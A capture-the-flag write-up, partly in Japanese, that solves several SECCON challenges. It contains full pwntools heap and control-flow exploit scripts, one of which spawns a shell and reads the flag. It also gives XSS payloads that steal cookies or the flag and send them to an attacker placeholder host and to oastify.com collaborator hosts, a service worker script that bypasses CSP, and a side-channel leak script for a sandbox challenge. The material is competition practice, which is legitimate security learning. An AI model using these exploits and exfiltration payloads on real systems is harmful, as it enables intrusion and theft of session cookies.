# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
binary = './chall'
elf = ELF(binary)
context(os='linux', arch=elf.arch)
# context(log_level='debug')  # output verbose log

RHOST = "datastore1.seccon.games"
RPORT = 4585
LHOST = "127.0.0.1"
LPORT = 4585

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """
    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug([binary], gdbscript=gdbscript)
else:
    # conn = process([binary])
    conn = process([binary], env={'LD_PRELOAD': './libc.so.6'})
    if opt == 'a': gdb.attach(conn)

# exploit
log.info('Pwning')

def rec_array(i):
    conn.sendlineafter(b'0. Exit', b'1')

    for idx in range(i):
        conn.sendlineafter(b'index:', b'0')     # index0
        conn.sendlineafter(b'2. Delete', b'1')  # update
    conn.sendlineafter(b'[a]rray/[v]alue', b'a')    # array
    conn.sendlineafter(b'input size:', b'9')    # array


rec_array(0)

# string
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'1')     # index0
conn.sendlineafter(b'2. Delete', b'1')  # delete
conn.sendlineafter(b'[a]rray/[v]alue', b'v')    # array
conn.sendlineafter(b':', b'x'*0x8)    # array

conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'1')     # index0
conn.sendlineafter(b'2. Delete', b'2')  # delete

conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'1')     # index0
conn.sendlineafter(b'2. Delete', b'1')  # delete
conn.sendlineafter(b'[a]rray/[v]alue', b'v')    # array
conn.sendlineafter(b':', b'x'*0x8)    # array

conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'2')     # index0
conn.sendlineafter(b'2. Delete', b'1')  # delete
conn.sendlineafter(b'[a]rray/[v]alue', b'v')    # array
conn.sendlineafter(b':', b'y'*0x8)    # array

# victim array
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'3')     # index0
conn.sendlineafter(b'2. Delete', b'1')  # delete
conn.sendlineafter(b'[a]rray/[v]alue', b'a')    # array
conn.sendlineafter(b':', b'8')    # array



for i in range(1, 9):
    rec_array(i)

# delete 0
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'0')     # index0
conn.sendlineafter(b'2. Delete', b'2')  # delete


# oob delete
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'9')     # index16
conn.sendlineafter(b'2. Delete', b'2')  # delete

# oob update
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'9')     # index16
conn.sendlineafter(b'2. Delete', b'1')  # delete
conn.sendlineafter(b'[a]rray/[v]alue', b'v')    # array
conn.sendlineafter(b':', str(0xdead))    # array


# exploit
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'2')     # index16
conn.sendlineafter(b'2. Delete', b'1')  # delete
payload = b'a'*0x70
payload += p64(10) + p64(0)*2 * 9 + p64(0xfeed0003)
conn.sendafter(b'new string', payload)

# leak heap address
conn.sendlineafter(b'0. Exit', b'2')

conn.recvuntil(b'<I> ')
a = conn.recvline()
heap_base = int(a) - 0x600
print(hex(heap_base))

# exploit2
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'2')     # index16
conn.sendlineafter(b'2. Delete', b'1')  # delete
payload = b'a'*0x70
payload += p64(16) + p64(0)*2 * 15 + p64(0xfeed0003)
conn.sendafter(b'new string', payload)

# leak libc address
conn.sendlineafter(b'0. Exit', b'2')
conn.recvuntil(b'<I> ')
a = conn.recvline()
libc_base = int(a) - 0x219c00
print(hex(libc_base))

# exploit3
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'2')     # index16
conn.sendlineafter(b'2. Delete', b'1')  # delete
payload = b'a'*0x70
payload += p64(1) + p64(0xfeed0002) + p64(heap_base+ 0x4f0) + p64(0)
payload += p64(0x100) + p64(libc_base + 0x219098)
conn.sendafter(b'new string', payload)

# exploit4
conn.sendlineafter(b'0. Exit', b'1')
conn.sendlineafter(b'index:', b'3')     # index16
conn.sendlineafter(b'2. Delete', b'1')  # delete
conn.sendlineafter(b'index:', b'0')     # index16
conn.sendlineafter(b'2. Delete', b'1')  # delete
payload = p64(libc_base + 0xebcf8)
conn.sendafter(b'new string', payload)


conn.interactive()
```
### selfcet
```python=
#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
binary = './xor'
elf = ELF(binary)
context(os='linux', arch=elf.arch)
# context(log_level='debug')  # output verbose log

RHOST = "selfcet.seccon.games"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """
    b *0x00000000004011af
    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug([binary], gdbscript=gdbscript)
else:
    conn = process([binary])
    # conn = process([binary], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

# exploit
log.info('Pwning')


# input()
payload = b'x'*0x40
payload += p64(0xdeadbeef) +  p32(0x00404100) + p32(00) + b'\xa0\x15\x35'
conn.send(payload)

import time
time.sleep(1)
conn.sendline(b'sh\x00')

time.sleep(1)
payload = b'z'*0x20
payload += p64(0xdeadbeef) +  p32(0x00404100) + p32(00) + b'\x60\x1d\x32'
conn.send(payload)

time.sleep(1)
conn.sendline(b'ls')
conn.sendline(b'cat flag*')

conn.interactive()
```


## Web

### Bad JWT

algをconstructorにするとJWTの署名が header.payload になる。
これをbase64デコードして再度base64エンコードすればsecretなしに.を含まない署名が作れるので、isAdminを有効にしたJWTを送信すればフラグが出る

SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}

### eeeeejs
ejsのオプションパラメータcacheにtrueを指定することで、パラメータfilenameがキャッシュobjectのkeyとして参照され、参照された値は関数オブジェクトとして処理され返り値が出力される
```
https://github.com/mde/ejs/blob/v3.1.9/lib/ejs.js#L260-L261
https://github.com/mde/ejs/blob/v3.1.9/lib/ejs.js#L215-L222
https://github.com/mde/ejs/blob/main/lib/utils.js#L195
```

そこで、パラメータfilenameにconstructorを指定することで、指定したview optionsがjson形式で出力される
また、express-xss-sanitizerによりパラメータ値はHTMLが無害化されるが、パラメータ名には無害化が行われないため、パラメータ名にHTMLを挿入することでXSSが可能
```
http://eeeeejs.seccon.games:3000/?filename=constructor&settings[view+options][cache]=true&<script%20src%3D/?filename%3Dconstructor%26settings%5Bview%2Boptions%5D%5Bcache%5D%3Dtrue></script>=x
```

CSPがdefault-src selfではあるが、ejsのオプションパラメータdelimiter,openDelimiter,closeDelimiterを指定することで、ejsタグを任意に変更することが可能であり、ejs構文として有効な範囲で出力を操作することが可能である
これにより、render.dist.jsに任意のJavaScriptコードを挿入しつつ実行可能な出力を作成でき、当該出力をscript要素で参照することでXSSが可能になる
```
http://eeeeejs.seccon.games:3000/?filename=constructor&settings[view+options][cache]=true&%3Cscript%20src%3Dhttp%3A%2F%2Feeeeejs.seccon.games%3A3000%2F%3Ffilename%3Drender.dist.js%26delimiter%3D%2B%26settings%255Bview%2Boptions%255D%255BopenDelimiter%255D%3D%2B%2Blist%26settings%255Bview%2Boptions%255D%255BcloseDelimiter%255D%3D%257C%257C%2B%255B%255D%253B%26cb%3Da%26list%3D%257D%257D%257D%2529%253Balert%25281%2529%253Ba%253Dalert%2528%257Ba%2528%2529%257Ba%253Dfunction%2528%2529%257B%3E%3C%2Fscript%3E=x
```

document.cookieを参照して外部送信するpayloadをbotに送信することで、FLAGを取得できる

・payload生成(nodejs)
```
u = new URL('http://eeeeejs.seccon.games:3000/')
u.searchParams.append('filename', 'render.dist.js')
u.searchParams.append('delimiter', ' ')
u.searchParams.append('settings[view options][openDelimiter]', '  list')
u.searchParams.append('settings[view options][closeDelimiter]', '|| [];')
u.searchParams.append('cb', 'a')
u.searchParams.append('list', '}}});location=`//攻撃者のサーバ/?q=`+document.cookie;a=alert({a(){a=function(){')

console.log(`http://eeeeejs.seccon.games:3000/?filename=constructor&settings[view+options][cache]=true&%3Cscript%20src%3D${encodeURIComponent(u)}%3E%3C%2Fscript%3E=x`)
```

・payload
```
http://eeeeejs.seccon.games:3000/?filename=constructor&settings[view+options][cache]=true&%3Cscript%20src%3Dhttp%3A%2F%2Feeeeejs.seccon.games%3A3000%2F%3Ffilename%3Drender.dist.js%26delimiter%3D%2B%26settings%255Bview%2Boptions%255D%255BopenDelimiter%255D%3D%2B%2Blist%26settings%255Bview%2Boptions%255D%255BcloseDelimiter%255D%3D%257C%257C%2B%255B%255D%253B%26cb%3Da%26list%3D%257D%257D%257D%2529%253Blocation%253D%2560%252F%252F攻撃者のサーバ%252F%253Fq%253D%2560%252Bdocument.cookie%253Ba%253Dalert%2528%257Ba%2528%2529%257Ba%253Dfunction%2528%2529%257B%3E%3C%2Fscript%3E=x
```

SECCON{RCE_is_po55ible_if_mitigation_4_does_not_exist}

### Simple Calc
evalでJavaScriptを実行することはできるが、CSPによって /flag の内容をX-FLAGヘッダ付きでリクエストして漏洩することができない。

botはlocalhost:3000でアクセスするのでService Workerが利用できる。
Service Workerが使えればレスポンスを書き換えることができるので、CSPを無効にしてlocalhost:3000上でJavaScriptを実行することができる。

```
payload = `
self.addEventListener('fetch', event => {
  if (event.request.url.includes('/foobar')) {
    html = "<script>fetch('http://localhost:3000/flag', { headers: {'x-flag': true} }).then(c => c.text()).then(c => navigator.sendBeacon('http://zdg6ysoe5q5gbn7b9c1muhas0j6au3is.oastify.com/?q='+c))</script>";
    init = {
      headers: {
        'Content-Type': 'text/html',
        'Content-Security-Policy': "default 'self' 'unsafe-inline'"
      }
    };
    event.respondWith(new Response(html, init));
  }
});
document = {getElementById: () => []}`;
navigator.serviceWorker.register(`/js/index.js?expr=${encodeURIComponent(payload)}`).then(() => {
});
setTimeout(() => window.open('/js/foobar'), 1000)
```

SECCON{service_worker_is_powerfull_49a3b7bf6d2ae18d}

### Blink
iframe srcdoc内にHTMLを書き込むことができるが、iframe sandboxによりJavaScriptの実行はできない。

DOM Clobberingで sandbox.contentDocument.body.togglePopover を文字列にしてしまえばsandboxを無視してJavaScriptを実行できる。

```
  const target = wrap(sandbox.contentDocument.body);
  target.popover = "manual";
  const id = setInterval(target.togglePopover, 400);
```

以下のようなHTMLを埋め込めばよい

```
<iframe name=body id=body srcdoc="<a id=togglePopover name=togglePopover href='javscript:alert(1)'>"></iframe>
```

最終payload

```
http://web:3000/#%3Ciframe%20name=body%20id=body%20srcdoc=%22%3Ca%20id=togglePopover%20name=togglePopover%20href='javscript:navigator.sendBeacon(%60http://1y08ju9gqsqiwpsduemofjvullrcf63v.oastify.com/c${document.cookie}%60);location=%60/%60'%3E%22%3E%3C/iframe%3E
```

SECCON{blink_t4g_is_no_l0nger_supported_but_String_ha5_blink_meth0d_y3t}


## Crypto
### plai\_n\_rsa
$e, d$のみが判明しており, $N$を与えられていないRSA暗号. ヒント情報として$p+q$が与えられている. ただし$p, q$は素数であって$N = pq$をみたす (これは順序と単数の差を除き一意に定まる). すると $\exists k.\ ed - 1 = k\phi(N) = k(N - (p+q) + 1)$である. 

仮に$k$が判明した場合$(ed - 1) / k + (p + q) - 1 = N$より$N$を計算できる. $(N, e, d)$の三つ組を持っていればRSAは復号でき, かつ今回は$e, d$は既知である. よって, 今回はこの$k$を特定する方針を取った. 

$k = 0$である場合$ed - 1 = 0$であるが, 今回のパラメータでは成立しないことを確認できたため, $k\ne 0$を仮定してよい. 特に以降では$ed\gt 1$を加味し$1\lt k$を仮定する. この場合$ed - k\phi(N) = 1 \iff \frac{e}{k} - \frac{\phi(N)}{d} = \frac{1}{dk}$である. 

さて, $\frac{1}{d}$は$2^{-2000}$以下と(整数値に比較して)極めて小さく, $1\lt k$より$\frac{1}{dk}\lt \frac{1}{d}$. よって$\frac{1}{dk}$は無視できる程度に小さく, $\frac{e}{k}$と$\frac{\phi(N)}{d}$との間には整数としての差は存在しないものとして近似できる. $\frac{1}{dk} = 0$と見做して直接近似すれば$e:k = \phi(N):d$, 換言すると$e/k = \phi(N)/d$である. 

$\log_2{\phi(N) / d}$の範囲は$\lfloor\log_2 N\rfloor - \log_2 d\leq \log_2 \phi(N) - \log_2 d\lt \lceil\log_2 N\rceil - \log_2 d$と押さえられる. $\log_2 d = 2046.92629\ldots$であることと$2047\lt \log_2 N\lt 2048$を用いてこれを計算すると$0.0737\leq \log_2 \phi(N) - \log_2 d\lt 1.0738$. 

ここで近似$e/k = \phi(N)/d$と$e = 65537$を用いると$2^{0.0737}\leq e/k\lt 2^{1.0738}$であり, $31136\lt e/2^{1.0737}\lt k \leq e/2^{0.0737} \leq 62273$が成立. この範囲であれば十分に探索可能な範囲だと判断し, 総当りする方針でコードを書いた. 結果として正しい$k$がその範囲内に入っていることを確認でき, 同時にflagを取得できた. 

```python=
# https://github.com/scryptos/scryptoslib
from scryptos import RSA, long_to_bytes

e = 65537
d = 15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint = 275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c = 8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813

ed1 = e * d - 1

k_cand = []
for k in range(31137, 62274):
    if ed1 % k == 0:
        k_cand.append(k)

for k in k_cand:
    nh1 = ed1 // k
    n_cand = nh1 + hint - 1
    if n_cand % 2 == 0:
        continue
    assert e * d - 1 == k * (n_cand - hint + 1)
    if pow(2, ed1 + 1, n_cand) != 2:
        continue
    if pow(12345, ed1 + 1, n_cand) != 12345:
        continue
    print(n_cand)
    print(k)
    try:
        rsa = RSA(e=e, n=n_cand, d=d)
        print(f"{rsa.p = }")
        print(f"{rsa.q = }")
        print(long_to_bytes(rsa.decrypt(c)))
    except e:
        continue
"""
Wed Sep 20 16:53:33 JST 2023 ~/Downloads/plai_n_rsa 
> time python solve.py 
18936616732870557554255699457049036994088317351031093582044489651796044144359529698712480672182437359558661630272417249665217035943220754133618582498039734135246424303516232079007114436837639161342438265471646042323154245299513642971562594716314100461479584511032358469111096620834553074358692898361567626996392480754014528527430527063528495411980101545552758140283448489000764285522023633742607206302091320357111951747209869411759634837407611496564539529290087478404184878780789410417775171025806654571990267737398689184781737215471932050189239540076540385167387692604358256307847323491801551671406351335354645235467
53137
rsa.p = 140573552764401357605823936771184672764694952091387854770288096537249315989269387243337046325021772999912099191923048275883668481142897289319945336527652363201552545434075208107525982286306407537964326105213638452475929618015584070741254785193547854002460568473207120569551244479752690771339874359602083207571
rsa.q = 134709668785336688740094232075457138548685666906833497370062473895464991291896418393514609977944396945672903285621052388595877290685902567635508726291665180001811791533818942657711815876547036154486783239882775197927559341872003453930377937886288600943550921645425619204467260904485344507867895885681646577577
b'SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}'

real    0m0.540s
user    0m0.514s
sys     0m0.028s
"""
```

## Sandbox

### crabox

```python=
import socket
import string


def test_chr(pos, ch):
    sk = socket.socket()
    sk.connect(('crabox.seccon.games', 1337))

    sk.recv(1024)
    index = 273+pos
    TEMPL = b"""
const _: () = { const fn qw(lhs: &[u8], rhs: &[u8]) -> bool {
if lhs[0x%04x] <= rhs[0] { return false; } true }
const fn ew(lhs: &str, rhs: &str) -> bool {
qw(lhs.as_bytes(), rhs.as_bytes())
}
assert!(ew(include_str!(file!()), "%c"));
};
__EOF__
""" % (index, ord(ch))
    sk.send(TEMPL)

    res = sk.recv(1024)
    sk.close()

    return res != b':(\n'


def binarySearch(pos, array):
    left, right = 0, len(array)-1
    while left <= right:
        middle = (left+right) // 2
        res = test_chr(pos, array[middle])
        #print('test', array[middle], res)
        if not res:
            right = middle - 1
        else:
            left = middle + 1
    return array[left]

array = [chr(x) if x not in ['"'] else '_' for x in range(0x20, 0x7f)]
for i in range(0, 32):
    print(binarySearch(i, array))

```

Flag: `SECCON{ctfe_i5_p0w3rful}`